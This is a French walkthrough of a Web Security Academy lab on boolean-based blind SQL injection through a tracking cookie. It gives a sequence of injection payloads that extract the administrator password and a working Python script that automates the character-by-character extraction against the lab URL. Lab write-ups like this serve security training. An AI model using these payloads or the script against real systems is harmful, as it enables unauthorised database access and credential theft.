Injection SQL aveugle à réponses conditionnelles

Blind SQL injection with conditional responses

Lab: Blind SQL injection with conditional responses | Web Security AcademyWebSecAcademy

Contexte / vulnérabilité : la valeur d’un cookie de suivi (TrackingId) est injectée dans une requête SQL côté serveur. La requête ne renvoie pas directement de résultat ni d’erreurs, mais la page affiche "Welcome back!" si la requête retourne au moins une ligne. Ceci permet une SQLi aveugle par conditions (boolean-based) : on interroge des assertions vraies/faux et on observe la présence/absence du message pour extraire des données.

But du lab : extraire le mot de passe de l’utilisateur administrator et se connecter en tant qu’administrateur.

Technique (phases et payloads essentiels)

1. Tests basiques de stabilité / colonnes

   ' ORDER BY 1-- -
   ' ORDER BY 2-- -

• (permet de détecter comportement d’erreur si utile)

1. Vérification d’une condition vraie / fausse (contrôle du canal de fuite)

   ' AND (SELECT 'a') = 'a'-- -
   ' AND (SELECT 'a') = 'b'-- -

• la première doit déclencher Welcome back!, la seconde non.

1. Vérifier existence d’un utilisateur administrator

   ' AND (SELECT 'a' FROM users WHERE username='administrator') = 'a'-- -

   • si Welcome back! apparaît, la sous-requête a renvoyé une ligne.

2. Extraire caractère par caractère (substrings)

   • Nom d’utilisateur (ex.)

     ' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator') = 'a'-- -

   • Mot de passe (ex.)

     ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a'-- -

     itérer positions/valeurs pour reconstituer la chaîne.

3. Connaître la longueur (exemple : tester longueur = 20)

   ' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE username='administrator' AND LENGTH(password)=20) = 'a'-- -

   s’adapte selon SGBD (LENGTH / LEN / LENGTH() → adapter).

Script d’automatisation (Python)

Le script fournis automatise un brute-force caractère-par-caractère en modifiant le cookie TrackingId.

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
    print("\nExiting...\n")
    sys.exit(1)

# Ctrl + C 
signal.signal(signal.SIGINT, def_handler)

main_url = "https://0ac1002b042e505b810c253d007c0076.web-security-academy.net/"
characters = string.printable

def makeRequest():

    password = ""

    p1 = log.progress("Brute Force")
    p1.status("Starting brute force attack")
    time.sleep(2)

    p2 = log.progress("Password")

    for position in range(1, 21):
        for character in characters:

            cookies = {
                'TrackingId': f"lRU8Ekyqctl6Yr6A' and (select substring(password,{position},1) from users where username='administrator')='{character}",
                'Session': 'zAVTpTyb3sYA5keYIro3aDUqsp6h780H'
            }
            p1.status(cookies['TrackingId'])
            try:
                r = requests.get(main_url, cookies=cookies)
                if "Welcome back!" in r.text:
                    password += character 
                    p2.status(password)
                    break
            except requests.exceptions.RequestException as e:
                p1.failure(f"Request failed: {e}")
                sys.exit(1)
            
if __name__ == '__main__':
    makeRequest()